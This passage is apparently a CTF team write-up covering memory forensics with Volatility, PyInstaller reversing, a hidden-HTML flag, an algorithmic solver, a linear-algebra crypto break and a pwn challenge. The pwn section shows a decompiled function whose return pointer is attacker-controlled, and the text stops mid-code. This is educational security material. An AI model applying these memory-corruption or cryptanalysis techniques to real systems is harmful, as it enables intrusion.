2019-06-21 22:01:12 UTC+0000 cd /home 2302 bash 2019-06-21 22:01:13 UTC+0000 cd hackermaster 2302 bash 2019-06-21 22:01:14 UTC+0000 cd emails 2302 bash 2019-06-21 22:01:15 UTC+0000 wget 192.168.1.107/hackz/client_data.zip 2302 bash 2019-06-21 22:01:40 UTC+0000 thunderbird "Please be careful with what you do.eml" 2302 bash 2019-06-21 22:02:42 UTC+0000 thunderbird "Re: Please be careful with what you do.eml" 2302 bash 2019-06-21 22:03:32 UTC+0000 thunderbird "Need the moneyz now.eml" 2302 bash 2019-06-21 22:04:30 UTC+0000 thunderbird "Re: Re: Please be careful with what you do.eml" -- trim -- </code></pre></div> </div> </li> <li>Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file. <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -F "/home/hackermaster/emails/Your_filename_here.eml" Volatility Foundation Volatility Framework 2.6.1 Inode Number Inode File Path ---------------- ------------------ --------- 814605 0xffff880078eabc48 /home/hackermaster/emails/Need the moneyz now.eml 814389 0xffff880078e9f060 /home/hackermaster/emails/Please be careful with what you do.eml 814373 0xffff880078e9f458 /home/hackermaster/emails/Re: Please be careful with what you do.eml 814162 0xffff880078e9fc48 /home/hackermaster/emails/Re: Re: Please be careful with what you do.eml root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078eabc48 -O "Need the moneyz now.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml" </code></pre></div> </div> </li> <li>Three of those mails are simply text with nothing intresting, but “Need the moneyz now.eml” have an attached zip file.</li> <li>After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.</li> <li>Simply use a recursive grep with the string ‘ptm{‘ (the flag format) to solve the chall.</li> </ul> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}</code></p> <h2 id="rev-1">Rev 1</h2> <ul> <li>An <code class="language-plaintext highlighter-rouge">ELF</code> was provided</li> <li>By running <code class="language-plaintext highlighter-rouge">strings</code> on it it can be discovered to be generated by <code class="language-plaintext highlighter-rouge">PyInstaller</code></li> <li>Using <code class="language-plaintext highlighter-rouge">pyi-archive_viewer</code> it was possible to extract the <code class="language-plaintext highlighter-rouge">pyc</code> bytecode</li> <li>The <code class="language-plaintext highlighter-rouge">header</code> of the <code class="language-plaintext highlighter-rouge">pyc</code> was removed by <code class="language-plaintext highlighter-rouge">PyInstaller</code>, so it should be re-added and then it could be <code class="language-plaintext highlighter-rouge">decomPYled</code> with <code class="language-plaintext highlighter-rouge">uncompyle6</code></li> <li>The decompiled python script does some math operations on big numbers (i.e. <code class="language-plaintext highlighter-rouge">print((chr(pow(small_number, very_big_number) % 1000)))</code>)</li> <li>By doing the <code class="language-plaintext highlighter-rouge">%</code> operation also before the <code class="language-plaintext highlighter-rouge">pow</code> one it was possible to speed-up the script and get the flag in seconds (i.e. <code class="language-plaintext highlighter-rouge">print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000)))</code>)</li> </ul> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{30058c5c3989ece35831e815e83e0505}</code></p> <h2 id="misc-1">Misc 1</h2> <ul> <li>The flag was hidden in a <code class="language-plaintext highlighter-rouge">div</code> with the <code class="language-plaintext highlighter-rouge">display:none</code> CSS property in the description of the challenge itself</li> </ul> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{W3lc0m3_70_m0l3C0n_CTF!}</code></p> <h2 id="misc-2">Misc 2</h2> <ul> <li>Rules and definitions <ul> <li> <p>we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution</p> </li> <li> <p>we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence</p> </li> <li> <p>to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing</p> </li> <li> <p>if we provide the best solution we repeat the process with a new input</p> </li> </ul> </li> <li>Solution <ul> <li> <p>at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with</p> </li> <li> <p>in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick</p> </li> <li> <p>given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time</p> </li> </ul> </li> </ul> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">ss</span><span class="p">):</span> <span class="n">sol</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">ss</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ss</span><span class="p">))</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">ss</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">break</span> <span class="n">heads</span> <span class="o">=</span> <span class="p">{}</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ss</span><span class="p">)):</span> <span class="k">if</span> <span class="n">ss</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="n">heads</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span> <span class="c1">#print("CONFLICT!") </span> <span class="n">l1</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">ss</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="n">l2</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">ss</span><span class="p">[</span><span class="n">heads</span><span class="p">[</span><span class="n">ss</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">]]])</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">l1</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">l2</span><span class="p">))):</span> <span class="k">try</span><span class="p">:</span> <span class="k">if</span> <span class="n">l1</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">&gt;</span> <span class="n">l2</span><span class="p">[</span><span class="n">j</span><span class="p">]:</span> <span class="k">break</span> <span class="k">elif</span> <span class="n">l1</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">&lt;</span> <span class="n">l2</span><span class="p">[</span><span class="n">j</span><span class="p">]:</span> <span class="n">heads</span><span class="p">[</span><span class="n">l1</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="n">i</span> <span class="k">break</span> <span class="k">except</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="s">"ANOTHER CONFLICT!"</span><span class="p">)</span> <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">else</span><span class="p">:</span> <span class="n">heads</span><span class="p">[</span><span class="n">ss</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="n">i</span> <span class="n">new</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="n">heads</span><span class="p">.</span><span class="n">keys</span><span class="p">())</span> <span class="n">sol</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">new</span><span class="p">)</span> <span class="n">ss</span><span class="p">[</span><span class="n">heads</span><span class="p">[</span><span class="n">new</span><span class="p">]].</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="n">sol</span> <span class="kn">from</span> <span class="nn">pwnapi</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">log</span><span class="p">.</span><span class="n">level</span> <span class="o">=</span> <span class="mi">2</span> <span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">"10.255.0.1"</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8005</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">getremote</span><span class="p">()</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">b"Now it's your turn!</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">ss</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">l</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">s</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="n">l</span><span class="p">.</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">()))</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">break</span> <span class="n">ss</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="n">sol</span> <span class="o">=</span> <span class="n">solve</span><span class="p">(</span><span class="n">ss</span><span class="p">)</span> <span class="n">pay</span> <span class="o">=</span> <span class="p">(</span><span class="s">"{} "</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">sol</span><span class="p">)).</span><span class="n">strip</span><span class="p">().</span><span class="nb">format</span><span class="p">(</span><span class="o">*</span><span class="n">sol</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">b"sequence</span><span class="se">\"</span><span class="s">?"</span><span class="p">,</span> <span class="n">pay</span><span class="p">)</span> <span class="k">while</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="s">b"!"</span><span class="p">:</span> <span class="k">pass</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">b"</span><span class="se">\n\n\n</span><span class="s">"</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span> <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{5up3r_f457_1n_c4rD_6Am3s}</code></p> <h2 id="crypto-2">Crypto 2</h2> <ul> <li>By reversing the binary you can learn that: <ul> <li>The program reads some <code class="language-plaintext highlighter-rouge">a</code>, <code class="language-plaintext highlighter-rouge">b</code> and <code class="language-plaintext highlighter-rouge">p</code> from the <code class="language-plaintext highlighter-rouge">./params</code> file.</li> <li>Reads the flag from file and encrypts it by using the <code class="language-plaintext highlighter-rouge">encrypt</code> function</li> <li>The encrypt function behave like the following C++/Pseudocode</li> </ul> </li> </ul> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="n">vector</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="o">&gt;</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span> <span class="p">{</span> <span class="n">InfInt</span> <span class="n">sum</span> <span class="o">=</span> <span class="n">InfInt</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">InfInt</span> <span class="n">power</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">message</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span> <span class="p">{</span> <span class="n">myPow</span><span class="p">(</span><span class="n">power</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="n">message</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">-</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="n">sum</span> <span class="o">+=</span> <span class="n">InfInt</span><span class="p">(</span><span class="n">message</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">*</span><span class="n">power</span><span class="p">;</span> <span class="p">}</span> <span class="n">sum</span> <span class="o">+=</span> <span class="mi">1337</span> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">sum</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">seed</span> <span class="o">=</span> <span class="n">now</span><span class="p">().</span><span class="n">time_since_epoch</span><span class="p">().</span><span class="n">count</span><span class="p">();</span> <span class="n">srand</span><span class="p">(</span><span class="n">seed</span><span class="p">);</span> <span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span> <span class="n">InfInt</span> <span class="n">randv</span><span class="p">;</span> <span class="n">randv</span> <span class="o">=</span> <span class="n">p</span> <span class="o">/</span> <span class="mh">0x7FFFFFFF</span> <span class="o">*</span> <span class="n">r</span><span class="p">;</span> <span class="n">sum</span> <span class="o">=</span> <span class="p">(</span><span class="n">sum</span> <span class="o">*</span> <span class="n">randv</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">;</span> <span class="n">a_randv</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="n">randv</span><span class="p">;</span> <span class="n">b_sum</span> <span class="o">=</span> <span class="n">b</span> <span class="o">*</span> <span class="n">sum</span><span class="p">;</span> <span class="n">enc_sum</span> <span class="o">=</span> <span class="p">(</span><span class="n">a_randv</span> <span class="o">+</span> <span class="n">b_sum</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">;</span> <span class="n">enc_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">a_randv</span> <span class="n">_</span> <span class="n">b_sum</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">enc_diff</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">enc_diff</span> <span class="o">+=</span> <span class="n">p</span><span class="p">;</span> <span class="p">}</span> <span class="n">a1</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">pair</span><span class="o">&lt;</span><span class="n">InfInt</span><span class="p">,</span><span class="n">InfInt</span><span class="o">&gt;</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v11</span><span class="p">,</span> <span class="p">(</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v12</span><span class="p">);</span> <span class="k">return</span> <span class="n">a1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <ul> <li>The idea here is to send multiple time the same message to be encrypted, generate the “sum” (like in the cout above) and then run the following SageMath script.</li> </ul> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span> <span class="n">cipher1</span><span class="o">=</span><span class="p">[</span> <span class="mi">1657193054003946939742382039546178248764670964093956768428222754149558900484660423527213927409731682492391649192884642286972836750184248785223918459744699</span><span class="p">,</span> <span class="mi">9393149816861097990249702302505021603400732592123252503116137566283707142638124367678170286762151736722171457008067398498155737944943155046469028379079674</span> <span class="p">]</span> <span class="n">cipher2</span><span class="o">=</span><span class="p">[</span> <span class="mi">8567657050186210539812433490723910952475953365776184198464020501236978388794781400334504727276101618868281832944377160415402086128091946377445840531078288</span><span class="p">,</span> <span class="mi">5608821411558755844947151824603641814259531937527920016345776121936177018601438328338200624208839078384905595006944812697328138726508018110801426846026457</span> <span class="p">]</span> <span class="n">cipher3</span><span class="o">=</span><span class="p">[</span> <span class="mi">793367049655931060762753233354685831932640135849414074345377052132000065850916722724046406778375795612456646357707665197849363431642555273503228771193778</span><span class="p">,</span> <span class="mi">7294789427811005632196844363150149690307758418592767276751589840254636358146705068590938842193417495862235903122916362826752853301014990898527383238441432</span> <span class="p">]</span> <span class="n">enc_message</span><span class="o">=</span><span class="mi">44046402572626160612103472728795008085361523578694645928734845681441465001626</span> <span class="n">matrix</span> <span class="o">=</span> <span class="n">MatrixSpace</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="n">vec</span> <span class="o">=</span> <span class="n">VectorSpace</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="n">mat1</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">([</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="n">cipher2</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">enc_message</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="n">cipher2</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">enc_message</span><span class="p">]).</span><span class="n">inverse</span><span class="p">()</span> <span class="n">mat2</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">([</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher3</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="n">cipher3</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="n">cipher1</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">enc_message</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">cipher3</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="n">cipher3</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">enc_message</span><span class="p">]).</span><span class="n">inverse</span><span class="p">()</span> <span class="n">x1</span> <span class="o">=</span> <span class="n">mat1</span><span class="o">*</span><span class="n">vec</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">])</span> <span class="n">x2</span> <span class="o">=</span> <span class="n">mat2</span><span class="o">*</span><span class="n">vec</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">])</span> <span class="n">ares</span> <span class="o">=</span> <span class="n">x1</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">numerator</span><span class="p">()</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">denominator</span><span class="p">()</span> <span class="o">-</span> <span class="n">x1</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">denominator</span><span class="p">()</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">numerator</span><span class="p">()</span> <span class="n">bres</span> <span class="o">=</span> <span class="n">x1</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">numerator</span><span class="p">()</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">denominator</span><span class="p">()</span> <span class="o">-</span> <span class="n">x1</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">denominator</span><span class="p">()</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">numerator</span><span class="p">()</span> <span class="n">z</span> <span class="o">=</span> <span class="n">gcd</span><span class="p">(</span><span class="n">ares</span><span class="p">,</span> <span class="n">bres</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="n">z</span><span class="p">)</span> <span class="c1">#for f in factor(z): # print(f) </span> <span class="n">flag</span><span class="o">=</span><span class="p">[</span> <span class="mi">4359033484857692329373218835891273223514277989389887380295361415464889770166389701631419427834781246508138660575223898424123475008882009518656242889895631</span><span class="p">,</span> <span class="mi">1632584625552577634192244416449206016411410634392809925962891108131606575665762171492327868243444711605020193366871285556543848503175607073462086340098314</span> <span class="p">]</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781</span> <span class="n">a</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">((</span><span class="n">inverse_mod</span><span class="p">(</span><span class="n">x1</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">denominator</span><span class="p">(),</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="n">x1</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">numerator</span><span class="p">())</span> <span class="o">%</span> <span class="n">p</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="n">b</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">((</span><span class="n">inverse_mod</span><span class="p">(</span><span class="n">x1</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">denominator</span><span class="p">(),</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="n">x1</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">numerator</span><span class="p">())</span> <span class="o">%</span> <span class="n">p</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="n">a</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">((</span><span class="n">inverse_mod</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="n">flag</span><span class="p">[</span><span class="mi">1</span><span class="p">])),</span> <span class="n">p</span><span class="p">)</span> <span class="n">b</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">b</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="n">flag</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">-</span> <span class="mi">1</span> <span class="n">flag</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">b</span> <span class="o">-</span> <span class="mi">1337</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span> <span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> </code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{l1n3ar_alg3br4_at_1t5_b3s7!}</code></p> <h2 id="pwn-1">Pwn 1</h2> <ul> <li> <p>We are given an ELF binary with no stack canaries protections and no PIC.</p> </li> <li> <p>The vulnerability lies in this function</p> </li> </ul> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">sub_400BED</span><span class="p">()</span> <span class="p">{</span> <span class="n">__int64</span> <span class="n">v0</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-20h]</span> <span class="n">__int64</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-18h]</span> <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+30h] [rbp-10h]</span> <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-8h]</span> <span class="n">__int64</span> <span class="n">vars0</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp+0h]</span> <span class="n">__int64</span> <span class="n">retaddr</span><span class="p">;</span> <span class="c1">// [rsp+48h] [rbp+8h]</span> <span class="n">sub_400A68</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v0</span><span class="p">);</span> <span class="n">sub_400ABF</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v0</span><span class="p">);</span> <span class="n">puts</span><span class="p">(</span><span class="s">"Now give me your block data: "</span><span class="p">);</span> <span class="n">HIDWORD</span><span class="p">(</span><span class="n">v3</span><span class="p">)</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">qword_6020E0</span><span class="p">,</span> <span class="mh">0x80uLL</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">sub_400B14</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">qword_6020E0</span><span class="p">,</span> <span class="n">SHIDWORD</span><span class="p">(</span><span class="n">v3</span><span class="p">),</span> <span class="p">(</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v0</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">puts</span><span class="p">(</span><span class="s">"Go mine somewhere else!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="n">v0</span> <span class="o">=</span> <span class="n">qword_602100</span><span class="p">;</span> <span class="n">v1</span> <span class="o">=</span> <span class="n">qword_602108</span><span class="p">;</span> <span class="n">v2</span> <span class="o">=</span> <span class="n">qword_602110</span><span class="p">;</span> <span class="n">v3</span> <span class="o">=</span> <span class="n">qword_602118</span><span class="p">;</span> <span class="n">vars0</span> <span class="o">=</span> <span class="n">qword_602120</span><span class="p">;</span> <span class="n">retaddr</span> <span class="o">=</span> <span class="n">qword_602128</span><span class="p">;</span> <span class="c1">// WE CONTROL THE RETURN POINTER</span> <span class="n">puts</span><span class="p">(</span><span class="s">"Block successfully mined. Bye!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <ul> <li>To reach the ret instruction we need to pass a check</li> </ul> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">signed</span> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">sub_400B14</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a2</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a3</span><span class="p">)</span> <span class="p">{</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-98h]</span> <span class="kt">char</span> 